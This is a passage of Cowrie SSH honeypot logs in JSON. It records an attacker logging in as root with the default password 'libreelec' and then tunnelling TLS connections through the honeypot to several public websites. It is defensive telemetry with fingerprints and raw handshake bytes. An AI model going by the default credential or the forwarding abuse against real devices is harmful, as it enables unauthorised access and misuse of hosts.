-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:12.953520Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:13.466831Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.253.23.170","dst_port":443,"src_ip":"77.90.185.17","src_port":43544,"message":"direct-tcp connection request to 34.253.23.170:443 from 127.0.0.1:43544","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:17.031901Z","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.253.23.170","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.253.23.170:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:17.349851Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.253.23.170","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\xe3\\xaew\\xd0\\x11\\xe68\\x81we\\x03X*\\x94\\xe4-\\xa3\\xb7\\xd875sc\\xbe\\x83:\\x82\\xe7u\\x8c\\xd0 %I\\xcbL>\\x81)_/w\\n\\xedk\\xaf\\xb1Mb\\xe5\\xab\\x83\\xd5\\xecp\\xae\\xf3\\x12Xi\\xd3\\xb8\\xe1\\xb9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd4\\x15\\xf8!\\xd4f#n\\xa0\\xef\\xe5\\xb4\\xeb\\x195mq\\x8a\\xe6d\\xb6\\xc53$\\xa35\\x80\\x8e/\\xf8\\x02F\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.253.23.170:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\xe3\\xaew\\xd0\\x11\\xe68\\x81we\\x03X*\\x94\\xe4-\\xa3\\xb7\\xd875sc\\xbe\\x83:\\x82\\xe7u\\x8c\\xd0 %I\\xcbL>\\x81)_/w\\n\\xedk\\xaf\\xb1Mb\\xe5\\xab\\x83\\xd5\\xecp\\xae\\xf3\\x12Xi\\xd3\\xb8\\xe1\\xb9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd4\\x15\\xf8!\\xd4f#n\\xa0\\xef\\xe5\\xb4\\xeb\\x195mq\\x8a\\xe6d\\xb6\\xc53$\\xa35\\x80\\x8e/\\xf8\\x02F\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:17.352757Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":46268,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:46268","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:17.825251Z","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:18.383906Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y\\xb1[\\xef\\x96\\x047\\xac\\x11\\x9a\\xbf\\x97[\\t;!\\x9e*a\\x91[!\\x07\\xc4\\x18F\\x7f\\xf1?)\\x83\\xe6 \\xd1\\\\;\\xe9\\x86\\x07\\x19\\xea\\x8f@]\\xe2\\xed\\x14\\\\\\x91!\\xa2\\x85\\xf93\\x19\\xfcI\\xdc<\\x8c\\xa9\\xe5\\xb4U\\x8b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe7\\x13J\\x8e\\xac\\x02\\xe8h\\xe2Q\\x01${\\xdb\\xf5BiQ\\xa5G\\xe2k;\\xe5\\xf7-]\\xf8{\\x13Un\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.24.145.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y\\xb1[\\xef\\x96\\x047\\xac\\x11\\x9a\\xbf\\x97[\\t;!\\x9e*a\\x91[!\\x07\\xc4\\x18F\\x7f\\xf1?)\\x83\\xe6 \\xd1\\\\;\\xe9\\x86\\x07\\x19\\xea\\x8f@]\\xe2\\xed\\x14\\\\\\x91!\\xa2\\x85\\xf93\\x19\\xfcI\\xdc<\\x8c\\xa9\\xe5\\xb4U\\x8b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe7\\x13J\\x8e\\xac\\x02\\xe8h\\xe2Q\\x01${\\xdb\\xf5BiQ\\xa5G\\xe2k;\\xe5\\xf7-]\\xf8{\\x13Un\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:18.386994Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:19.028490Z","src_ip":"20.83.27.140","session":"882c998a6494","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.153.119","dst_port":443,"src_ip":"77.90.185.17","src_port":47592,"message":"direct-tcp connection request to 142.251.153.119:443 from 127.0.0.1:47592","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:19.173575Z","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.153.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.153.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:19.708882Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.153.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8lXX\\x91\\xed\\x11\\xb6\\x89\\x18\\x89\\xdck,\\xc9\\x08p\\xf0\\xb8UxS\\x9b)\\xc9~\\xfa\\x82\\x9f\\n\\xa0\\x17 [P\\xeb\\xd5\\xa2\\xbf\\n\\xef\\xf3\\xc9y\\x1c\\x12\\xfeB\\xc8V@\\xa6\\xd9L\\xb6>\\xc4+\\x19\\xbc\\xca\\x8f\\x13\\xdc]\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xba\\x81\\xe0\\xc1\\xd6\\xba+\\xc7\\xcf\\x8d\\xb0\\x1bUy\\xa3\\xb23[\\xa2AO-\\xb2nwPN\\x0c\\xb3\\xc3$q\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.153.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8lXX\\x91\\xed\\x11\\xb6\\x89\\x18\\x89\\xdck,\\xc9\\x08p\\xf0\\xb8UxS\\x9b)\\xc9~\\xfa\\x82\\x9f\\n\\xa0\\x17 [P\\xeb\\xd5\\xa2\\xbf\\n\\xef\\xf3\\xc9y\\x1c\\x12\\xfeB\\xc8V@\\xa6\\xd9L\\xb6>\\xc4+\\x19\\xbc\\xca\\x8f\\x13\\xdc]\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xba\\x81\\xe0\\xc1\\xd6\\xba+\\xc7\\xcf\\x8d\\xb0\\x1bUy\\xa3\\xb23[\\xa2AO-\\xb2nwPN\\x0c\\xb3\\xc3$q\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:19.712123Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:19.937085Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":33272,"dst_ip":"10.17.0.5","dst_port":22,"session":"253c24138ebc","protocol":"ssh","message":"New connection: 27.79.5.10:33272 (10.17.0.5:22) [session: 253c24138ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:45.824523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:45.829064Z","src_ip":"27.79.5.10","session":"253c24138ebc","protocol":"ssh"}
